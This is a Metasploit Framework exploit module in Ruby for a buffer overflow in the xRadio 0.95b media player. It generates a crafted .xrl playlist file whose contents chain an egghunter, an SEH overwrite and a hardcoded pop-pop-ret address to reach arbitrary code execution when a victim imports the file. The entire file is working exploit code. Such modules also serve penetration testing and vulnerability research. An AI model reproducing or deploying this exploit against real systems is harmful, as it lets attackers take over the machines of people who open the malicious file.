##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'xRadio 0.95b Buffer Overflow',
   'Description'     => %q{
    This module exploits a buffer overflow in xRadio 0.95b.
    Using the application to import a specially crafted xrl file,
    a buffer overflow occurs allowing arbitrary code execution.
   },
   'License'         => MSF_LICENSE,
   'Author'          =>
    [
     'b0telh0 <me[at]gotgeek.com.br>',
    ],
   'References'      =>
    [
     [ 'BID', '46290' ],
     [ 'EDB', '16141' ]
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' => 'seh',
     'DisablePayloadHandler' => 'true'
    },
   'Platform'        => 'win',
   'Payload'         =>
    {
     'Space' => 1000,
     'BadChars' => "\x00\x0a\x0d",
     'StackAdjustment' => -3500
    },
   'Targets'         =>
    [
     [ 'Windows Universal',
      {
       # pop eax - pop ebx - ret xradio.exe
       'Ret' => 0x0047E282
      }
     ],
    ],
   'Privileged'      => false,
   'DisclosureDate'  => 'Feb 08 2011',
   'DefaultTarget'   => 0))

  register_options(
   [
    OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])
   ], self.class)

 end

 def exploit
  eggoptions =
  {
   :checksum => true,
   :eggtag => 'w00t'
  }

  hunter,egg = generate_egghunter(payload.encoded, eggoptions)

  buffer =  rand_text_alpha_upper(4066-egg.length)
  buffer << egg
  buffer << make_nops(10)
  buffer << hunter
  buffer << "\xeb\xd8\xff\xff"      # nseh  jmp back 40 bytes
  buffer << [target.ret].pack('V')  # seh

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(buffer)
 end

end